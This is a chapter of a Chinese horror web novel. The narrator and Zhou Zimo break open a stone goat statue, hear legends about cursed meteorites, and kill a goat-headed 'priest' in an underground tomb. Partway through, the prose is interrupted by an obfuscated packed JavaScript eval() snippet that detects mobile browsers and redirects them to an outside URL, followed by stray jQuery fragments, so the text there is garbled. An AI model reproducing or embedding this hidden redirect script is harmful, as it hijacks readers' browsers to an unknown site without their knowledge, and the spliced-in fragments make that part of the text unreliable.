36. 一、二、三、四

作品:《黑山夜话

    我发现人类有一种奇怪的能力,就是在完全不能理解的事的时候,通过非常难以置信的想象力,将其转化为某种需要尊崇的信仰。


    放到现在我见到石头孵出羊来,我的第一反应肯定是恶心,震惊,震惊混杂着恶心。但远古的先民似乎并不在乎,他们是否因为见到过的东西太少了,所以认为石头孵出生命也是情有可原的?


    我都不知道自己到底在想什么,那个石头在孵出来东西之前还好,现在它也没有什么气味,但就给我带来一种强烈的、想吐的感觉。我在周子末后面又看了一眼,那些苍白纤细的腿似乎在融化,地上一滩黑水。


    在我眼神扫过的时候,不知道是不是其中的某根有了反应,在我看来就是那一束腿忽地抽搐了一下,又无力地散开。


    眩晕感瞬间袭来,我哇的一下就吐了。


    周子末似乎对这些东西没有什么感觉,我吐完在那里喘粗气,周子末反倒走上去看,那些腿似乎是死了的,他伸手直接去拽,一根细细的,营养不良的骨头炖烂了似的直接被他扯了下来。


    那根腿的下部关节,连接着三四根小而长的骨头。像是鸡爪一样张开,但每节骨头末端都是一个蹄子的形状,蹄子上是一些柔软的白色东西,肉刺一样密密麻麻的,看不清是什么。


    我大吐特吐,抬起头来的时候周子末已经把那根腿扔开,它们全部都在迅速地腐烂,渐渐的变成一团看不出形状的皮肉。


    我头晕脑胀,这是我第一次感受到什么叫做“精神污染”。它似乎比我之前见到的东西都要弱小一些,当我没有直视它的时候一切都还好,但当我见到它分娩出的东西的时候,我的精神瞬间感觉被这种东西攻击了。即便是轻轻地瞥见一眼,都是一种非常直接的伤害。


    “万民之宗,万民之宗…”


    周子末轻轻地拍了拍羊的脑袋,现在羊头有一种很明显的咚咚声,里面似乎空了。


    然后,我就看见他去包里拿了一根棍子。


    棍子有一头似乎是可以打开的,另外那边非常尖锐,感觉可以戳死点什么。他把那根棍子插进裂缝里,一用力就把石像撬开了。


    刚听到“喀啦”一声我就觉得不妙,在他撬开那个东西的瞬间,整个林间空地爆发出了巨大的力场,我像是被什么爆炸的余波扫到,视野一下子就被影响得黑中发白,白里透黑,不扶着树都没办法站住脚。


    “不行!不行!”我在那里对着周子末大概在的地方大喊,“那个不能打开!!不能打开!!”


    “你背过去别看。”


    周子末完全不顾我的死活,我踉踉跄跄爬着到了树背面,想睁开眼睛看一下脚底有没有东西,结果看到白桦树上的那些眼睛全他妈的在眨,还是不同频率不同速度的。


    我一口气哽在喉咙里,随便找了个位置抱头坐下,等待着那股劲儿过去。周子末那边每一次撬动发出的声音都像是在我头骨内侧刮擦,那种只要听到就觉得极其酸涩的声音让我脑袋里的每一根神经都开始发疼。期间我又吐了一次,幸亏他结束得比较快,不然还不知道这种折磨还要持续多久。


    大约十几分钟过去,周子末喊了一声你过来看看。我再睁开眼睛,眼前树上的眼睛已经不再眨动了,我就知道这次算是混了过去。


    我强撑着走过去看,周子末站在碎成一块块的石像前,地上一大摊黑绿色的粘液,我只扫到一眼,嘴里就泛起了酸味。


    “刚刚老陈说它泡在水里的时候我就开始怀疑了,”他扒拉着那些碎片指给我看,“再加上这个姿势…这头羊也不是石像。”


    “它也是被生出来的。”


    他棍子指着的地方的形状非常眼熟。羊蝎子火锅可能很多人都吃过,但我可以保证大家这辈子都没有见过嵌在石头里的羊蝎子。


    那是一整条清晰、完整的脊椎。


    “真的是疯了…”


    这些都是什么东西?泡在羊水里的巨大石像,里面孕育着怪异的多腿怪物,到底是什么把它生出来的,它即将要生出来的又是什么?


    它在这样的一具无机质结构中孕育出了俄罗斯套娃般的生命体,它们环环相扣,互相孵化孕育,新生之前即是死亡,死亡过后仍未新生,一切并非为了繁衍,而是一片毫无意义的混乱。


    我突然记起我看过的一个小视频,视频里说女性还是婴儿的时候体内就已经有卵子了,如果以后她生了孩子,变成孩子的那个卵子、母亲,和母亲的母亲三者就曾经在一个躯体内共存过。


    这个事情有点古怪的震撼和浪漫,但把人换做石羊,这件事就只剩下诡异了。


    我站在周子末面前,看他弄这个那个,“你怎么知道这个传说的,”不是这里不能联网我真的怀疑他们上网查了,“这个故事听起来也太小众了。”


    “还好吧?”周子末说,“其实这样的传闻还挺多的。”


    周子末说草原人民在很长的一段历史里都是以部族聚居的形式生活的,信仰有些杂,大部分都来自于自然,其中“长生天”属于信仰范围最广的一支。但因为部族不同,对于“天”的信仰也有很多不一样的名称,总的来说其实都是差不多的东西。


    既然他们认为天是永恒的至高神,那么从天上掉下来的东西经常会被赋予一些特别的含义。


    草原地势平整,视野开阔,天上的流星,地上的石头看得都比较清楚,所以比较容易捡到陨石。这些陨石往往会被有这种信仰的部落当作收藏,甚至有一些特别大块的,还会被部落当作神供奉起来。


    “到这还挺正常的,”周子末说,“但是很快就没那么正常了。”


    在内蒙有历史记录的那些年份里,曾经有过几次古怪的记载。


    一次是大概在宋朝左右,有一本野史随笔记载了一件怪事,说到宋朝使节前往当时的辽城,恰好那边附近一个边陲小地上报藏有一块陨铁。该陨铁生了一副美人形,眉目皆栩栩如生,似天女下凡,且估计有千斤之重,是极少见的大小。当地说是宝物,所以想要献给宋朝。


    使节随着当地人前往观看,只见这块陨铁被牛羊皮紧紧捆扎,只隐约露出一点人形,像是坐着抬高双手舞动的模样。


    等到牛羊皮全部揭开,使节才连连惊叹。此石不仅是像,简直如同雕塑一般,眉目只是几道线条,但确实传神,且皮肤异常光滑细腻,如玉般光洁,触之生温。


    使节想要将此物带回去,已经打包好走到回程的路上了,走了几天,又突然出现了异样。


    使节睡在驿站床榻上的时候,半醒半寐之间,只见到窗口影影绰绰飘来一位美人,身姿窈窕,跪坐在窗前左右舞动双臂,似是在翩翩起舞。


    使节只觉得是之前看了陨铁后发的梦境,没有在乎,沉沉睡去。而清晨醒来推开窗子,窗台上赫然两个膝盖的印子,昨夜确实有什么东西跪在此处起舞。


    再向上看,使节心上一惊——他发现窗纸上,大约是起舞美人眼睛的位置,也破了一个小洞。


    这东西在起舞的同时,正透过窗纸盯着他。


    使节吓了一身冷汗,不再敢把陨铁带走,又不能随意丢弃,只好想办法编造了个陨铁夜半化作飞仙离去的故事,又同亲信把那块东西埋入地下才最终作罢。这个故事甚至在另一些书中有所对照,可信度应该不低。


    第二个故事是解放后的,有牧民家里收藏了一块陨石,他说石头上有甲骨文,一直很用心地收藏着,想要捐献给国家。


    当时有人来内蒙考察的时候他献上了这块陨石给专家鉴定,专家看到之后说这个是假的,因为陨石上根本没有字,对方大概是有某种精神疾病,出现了幻视。


    不过虽然是这样说,但是专家还是给了一些钱收走了这块陨石,算是奖励他为国家做出贡献。


    “我见过那块陨石板的图片,”周子末说,“有一个平面打磨得很光滑,其他的几个面还是比较像陨石。”


    “那个牧民说上面有字,他照着看见的字画了下来,也没人能认出是什么。”周子末说,“但是确实有些地方有字,这人后来被拉去检查,发现他眼皮里面纹了很多密密麻麻的字,反正挺离谱。”


    妈的,外星人?


    我其实小的时候看过那种科幻世界,里面每隔两期就会问一遍是不是真的有外星人。我对于这件事是不太相信也没有不信的。宇宙这么大,外星人不太可能完全不存在,但既然宇宙这么大了,我也不觉得我们能这么容易遇到外星人。


    “所以你的意思是这个石像是外星来的,”我说,“是外星人。”


    “可能是外星来的,但一定是人吗?”周子末说,“你先入为主了。”


    那就是外星羊?刚才听故事我还吓了一跳,现在完全不觉得吓人了,人类一思考,那种本能的恐惧就会消退。更何况外星人给我一种走进科学的感觉,就感觉骗人的成分居多。


    或许是看到我满不在乎,周子末又补了一句。


    “这里的磁场混乱,电信号无法传播出去,其实怀疑这里有能影响磁场的东西一点也不奇怪,”他说,“并且我们最开始也有过一种怀疑。”


    “公主被称为草原上的流星,或许也是因为她根本就不是什么部落首领的女儿…而是真真正正的,一个随着流星降临的生命。”


    “她可能本来不能来到这里,但是因为黑山…她就做到了,”周子末说,“并且,不知道怎么的,大家都把她当作人了。”


    外星生命改头换面混进人类当中的故事常有,美国阴谋论里的蜥蜴人就是其中的一个典型。我之前也刷到过一种伪人视频,那种类似人,又不是人的东西,确实可以激发出人类的恐惧。


    我早已确信公主并非人类,甚至没有类似的原型。说是地外生命也好,还是什么神啊鬼啊也罢,最根本的问题不是我们需要确定她是什么,而是知道她到底想要什么,我们又怎么避免被她弄死,这件事才是最重要的。


    周子末还在那里研究,突然有人拍了我肩膀一下。


    我直接心跳空了半拍,血液一下子凝固了,半晌才缓过来。那个人在这个时候绕到了我侧面,我看见了,是老陈。


    我急促地喘了几口气,用那种难以置信的眼神看着他。我们距离火堆有一段距离,我站在火光的范围内,他大概是看见我被吓到了,对我说了声对不起。


    是的,我们还是这样说,如果我刚才被吓到心脏骤停迅速死掉,对不起有什么用?他为什么一定要这么神出鬼没??


    “周,”他又轻轻拍了我肩膀两下,头已经转向了周子末那边,“过来了。”


    周子末“啊?”了一声,看向我这边。“干什么?”他说。


    “过来,我们要去一个地方。”


    老陈说。


    周子末还有些疑惑,他的表情很明显不知道老陈在说什么,把我也搞得有点懵了。“他说要去一个地方,”我说,“过来啊。”


    刚说出口周子末的眼神刷的就变了。


    “谁说?”


    他问。


    在他说出口的同时,我注意到了某件刚才一直没有发现的事情。


    我们站在火堆的侧面,我和周子末都有一条被火光拉长了的影子,老陈也有,他的影子比我们稍微更高大、细长,像波浪一样,在无风的枯叶间夸张地抖动肩膀与手臂,仿佛在进行某种古怪的舞蹈。


    但是他的手还放在我的肩膀上,他的手还放在我的肩膀上。


    我尖叫着想要甩开他的手,他似乎有些出乎意料,被我推得向后退了半步。这个时候他的脸仍然是朝向周子末的方向的,而直到现在,在微弱跳动的火光下我才刚刚看清楚他用什么对着我。


    他背面是一张羊脸,黑色的羊。


    刚刚太黑,我根本没有看清,我一直以为那片黑色是后脑勺,直到那张羊脸朝我的方向睁开眼睛。


    他不是老陈,他不知道是什么东西,他只是在学老陈说话的声音而已。


    “要去一个地方。”


    羊对我说。


    我脑子还没有反应过来,人已经冲向了周子末,快要跑到他那里的时候还差点摔了,被他提着领子直接往前拖了一段。“那个影子!”他一边催着我跑一边喊,“他和你说什么了??”


    “他、你小心!”我上气不接下气,“他变成了老陈的样子!”


    周子末“啊”了一声,我以为他是听见了,结果他下一秒就大喊“你小心!!”


    我听见,回头看他,不到半秒立马右腿踏空,整个人几乎是咻的一下就向下流畅地陷落。


    我脑袋一片空白地呼呼往下掉,手臂和大腿刮擦着凌乱伸出的树根和石头。在大脑还没反应过来的情况下,我的屁股就一阵剧痛,感觉骨头都要被怼碎,疼得我眼前一阵阵地闪光。


    我好像掉进洞里了。


    眼前一片漆黑,什么都看不见。还没等我感慨一下又快要死了,上方土石噼里啪啦一阵乱响,黑暗中似乎有一辆卡车直接把我给创了,我直接被撞翻在地,脑袋还磕到了不知道什么东西,耳朵一疼,开始嗡嗡响了起来。


    “对不起对不起,”卡车说,“我拉你起来。”


    你跳下来之前要不要先说一声?


    我真的很多脏话憋在胸口想要喷涌而出,但更憋屈的是我的身家性命仍旧寄托在这辆卡车身上,我还要他把我拉起来。


    周子末一拽我胳膊,我就惨叫一声,感觉好像摔脱臼了。


    我满头大汗,刚想叫他说我们缓一缓,周子末真的是个畜生,他拉着我的手臂,另一只手就摸到了我的肩膀的位置。


    “三。”


    我发誓他真的只说了一个字,咔嚓伴随着我的惨叫,胳膊接上了。


    “你直接掐死我吧,”我用我最后的力气说,“剩下的路靠你自己了。”


    “死不了,”周子末还有点要笑的感觉,他拖着我的嘎吱窝把我拽起来,搞得我哭也哭不出来了,“别离我太远,我看看这是哪。”


    他随身是有小挎包的,在那里鼓捣了一会,不知道掏出了个什么东西来,刷的一下点燃了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16914322|192500||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我立马知道自己的屁股为什么这么疼了。


    因为这里的地面离顶端至少有三米的距离,我们掉下来的地方是一个破损的洞口,整个地方呈现出弧顶的形状,有明显人工修筑的痕迹。


    这个地方用来做什么简直不言而明,在我们的正前方,有一个大约十几厘米高的水泥台子,上面放着一具黑乎乎的棺椁。


    我脑子里闪过了很多看过的小说,无论我的想象有多么天马行空,我都没办法猜到终于有一天,我会对着一具棺椁,思考我们接下来要怎么办。


    如果我大学毕业了我还会这样吗?我突然冒出了这样的想法,我好想回去读书啊。


    地下非常安静,周子末手上的光来自一个小棍子似的东西,亮,但是也没有亮到灯火通明的程度。他明显对现状接受良好,绕着棺材转了几圈,还敲了敲盖子。


    我真的很怕里面的东西突然被他弄醒了,突然掀开盖子跳起来弄死我之类的。我知道只要里面有活物,我肯定是第一个死的,或许这就是既定命运的一部分。


    在我混乱的思绪和死寂的地下,我突然听到了一阵沙沙的声音。


    有东西在说话,他在说不知道哪国的语言,说一下顿一下,我感觉是在数数。


    这里没有一点其他声响,我和周子末都能非常清晰地听见这个声音。黑暗之中,有人在某个角落里,轻声地数着。


    一共四个音,数完了就重头再来一遍,这样慢腾腾地,反复了几次。


    周子末招招手让我过去,我不过去,他反而走到了我这边,和我贴在一起。我用手肘怼了一下,他嘘我一声,“数一二三四呢。”他轻声说。


    他的每个停顿都非常僵硬而刻意,听到第二遍我就发现了那好像是信号接收不良的对讲机的声音,沙哑跳脱得很,一顿一顿的,源头似乎是棺材附近。


    对讲机的电波声时有事无,我已经听出这是一段录音,只是觉得一头雾水,不知道这是谁,又在做些什么,只是在那里纯数数,就创造出了一种莫名阴湿诡异的氛围。


    周子末拉着我贴近墙壁,熄灭了手中的灯。


    在一片寂静中,我听到那个声音在缓缓地数着。


    “一、二、三、四。”


    对讲机里仍然传出的是这段内容。


    “一、二、三、四。”


    “五。”


    这个发音完全是新的,和“五”有些相似,好像是类似于“国”的声音。一直以来都是四个的数字突然多了一个,我还吓了一跳,但我们面前的黑暗没有任何变化,也没有任何其他的声音传出来。


    数字在报到五之后又停顿了一会,然后重新开始。我很紧张,本来是周子末抓着我,现在换我紧紧地抓着他的手臂。


    “一、二、三、四、五。”


    “六。”


    似乎是有一些预感,但“六”出来的时候我的心仍然跳重了一拍。每次多出来的数字都被他报得格外清晰,而在它宣读了“六”之后,我更用心地去听,整个地下仍旧没有任何声响。


    “一、二、三、四、五、六。”


    “来了。”


    周子末说。


    “七。”


    我必须紧紧攥住周子末的手才没能尖叫出来。当他数到七的时候,一股异常鲜明的感受立马充斥了我的感官。


    我可以非常明显地感受到,这个房间多了一个人。


    这个人就站在棺材上,身材非常细长,脊背高高的几乎顶到建筑的顶端。虽然我看不清这个人的脸,也不知道它到底有没有脸,但我百分之八十能确定这就是刚才变成老陈的样子的那个东西。


    周子末把我紧紧地按在墙上,他挡在我的前面。他似乎也不太确定面前的这个东西是否有威胁,所以他没有主动出手,也没有移动。


    在这样的对峙当中,是对方先发出了声响。


    它晃着脑袋,张开嘴,从那张明显不是人类的嘴巴里,发出了一声尖锐刺耳的鸣叫。


    “啊——啊啊啊啊———啊啊啊啊啊啊啊啊——————”


    周子末在那一瞬间就冲了出去,不知道为什么,棺材板突然也直接掀飞了。里面跳出来一个人影,周子末和那个人一起,竟然按住了棺材上的那个东西。


    “快!!过来帮一把!!”


    周子末在那里大喊,这个东西的力气非常非常的大,它一直在不停挣扎,踹得地面和棺材都砰砰乱响,似乎还踢到了另一个人。


    那个人闷哼了一下,应该是个人类。


    我踉跄着跑上去,根本不知道要帮些什么东西。周子末他们整个人都压在那个东西上面试图控制住它,乌漆嘛黑的我都不知道按哪里。他们两个人配合倒十分默契,我手忙脚乱又什么都没干,直接被挤到了一边去,我更加确定棺材里跳出来的那个人是老陈了。


    这场混乱持续了也就一分多钟,我被推到一边后的几秒内,我就听见了一声特别特别干脆利落的骨头喀啦声,随后,那个东西没有再动了。


    “妈的,装神弄鬼。”


    周子末说着,重新打开了那个棍子一样的灯。


    我看清楚了,我前面站着的那个确实是老陈,他对我点了点头。下面躺着的东西我即便看清楚了也完全不能理解,像是什么邪典电影里走出来的怪物。


    那是一具瘦高的尸体,身体上挂着一些褴褛布料。大致看上去像个人,但没有任何人可以把眼神真正地从它最大的特征上移开。


    这个人,长了一个非常明显的,确切无比的,羊的脑袋。


    这个脑袋完全不是什么牵强附会,它看起来就完全是一个瘦高的人,头的地方换成了一个羊头。它的嘴明显向外凸出,头骨扁而长,头的两侧有骨质的弯角,整个脑袋覆盖着的全是黑色的、短粗的毛发。


    刚才老陈他们把这个东西的脖子拧断了,它软趴趴地瘫倒在地上,露出来的脖子比正常人长一倍,羊的脑袋沉沉地向后坠着,嘴巴半张,露出一条人的舌头来。


    “这是公主的祭司,”老陈说,“不知道在这里繁衍了几代了。”


    我没听明白,周子末却表现得毫无意外。“我们把那个石像拆开了,”他说,“里面确实有东西孵出来。”


    老陈嗯了一声,半蹲下去去拔开那个羊头人的眼皮看。我这才发现在光线下它的毛色非常怪异,不像是什么绒毛羊毛的反光,反而更像是头发。


    不对,那个粗细,好像就是头发。


    这个黑山羊头之所以看起来像动物,因为它满脸不分前后,长得都是头发。


    这个想法让我觉得更恶心了,离尸体远了一步。“那这是什么东西?”我问,“这是人吗…还是什么怪物…?”


    “是选育出来的,无限贴近曾经出现在此地的,某种远古生物最真实相貌的东西。”


    老陈说。


    “他们把这个当作神的使者,当作祭司,让它们生活在我们之间…”


    “他们没有意识到,这是一切草原上灾祸的开端。”